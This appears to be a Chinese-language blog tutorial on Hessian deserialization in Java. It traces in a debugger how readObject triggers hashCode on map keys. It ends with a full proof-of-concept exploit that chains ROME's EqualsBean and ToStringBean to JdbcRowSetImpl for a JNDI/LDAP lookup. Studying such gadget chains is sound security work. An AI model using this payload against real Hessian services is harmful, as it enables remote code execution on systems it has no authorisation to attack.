0%

Hessian反序列化

Hessian反序列化

什么是Hessian?

Hessian 是一种基于二进制协议的网络传输协议,用于通过网络在不同的系统之间进行远程方法调用(RPC)。它以其高效、简单和易于使用而受到广泛关注。

Hessian 协议使用二进制编码来序列化对象,并通过网络传输这些二进制数据。相比于文本协议(如XML或JSON),二进制协议可以显著减少传输的数据量,提高传输效率。

Hessian 协议支持多种编程语言,使得不同语言的应用程序可以方便地进行跨语言的远程方法调用。通常,开发人员只需定义接口和方法,然后在客户端和服务器端分别实现这些接口,Hessian 协议会负责将方法调用请求和响应进行序列化和反序列化,从而实现远程过程调用。

Hessian 在一些 Java 后端框架中应用广泛,例如 Dubbo、Spring 等。它具有轻量级、高性能、跨语言等特点,适用于构建分布式系统或者跨语言的微服务架构。

Hessian反序列化

首先导入依赖

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>

编写一个Person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package main.java.Hessian;

import java.io.Serializable;

public class Person implements Serializable {
String name;
int age;

public Person(String name,int age){
this.age = age;
this.name = name;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public void setAge(int age) {
this.age = age;
}

public int getAge() {
return age;
}

@Override
public String toString() {
return "this is toString";
}
}

然后编写一个测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package main.java.Hessian;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;

public class test {
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
System.out.println("end");
return bao.toByteArray();
}

public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}
public static void main(String[] args) throws IOException {
Person ycxlo = new Person("ycxlo", 18);
byte[] serialize = serialize(ycxlo);
Object deserialize = deserialize(serialize);
System.out.println(deserialize);
}
}

运行结果如下:

img

可以看到,Hessian序列化出来的有一些乱码,说明它和传统的serialize不同,它是使用二进制编码来序列化对象,并且在输出反序列化后的对象时调用tostring方法

漏洞分析

从readObject开始,下断点分析

img

img

可以看到,传入的bytes数组的第一位是77,即为M,因为Hessian会把序列化的数据转换为Map,所以第一位总是M

img

获取刚刚bytes数组的第一位,即77,M,跳转到下面

img

调用了readType方法,跟进一下

img

读取了第二个数字,116,后面是对bytes的一个解析,解析的结果便是我们序列化类的完整包名

img

然后会调用SerializerFactory的readMap方法

img

调用了getDeserializer方法,跟进

img

随后会走到这里

img

加载了我们序列化的类,然后到这里

img

将我们序列化的类加载进了Map缓存,调用了put方法,而put方法中会对key调用hash方法,也就是说,触发了我们的调用链

漏洞利用

我们尝试接壤rome链(其关键触发方法为hashcode)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package main.java.Hessian;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Hessian_JNDI implements Serializable {

public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}

public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}

public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://localhost:7777/test";
jdbcRowSet.setDataSourceName(url);


ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

//手动生成HashMap,防止提前调用hashcode()
HashMap hashMap = makeMap(equalsBean,"1");

byte[] s = serialize(hashMap);
System.out.println(s);
System.out.println((HashMap)deserialize(s));
}

public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}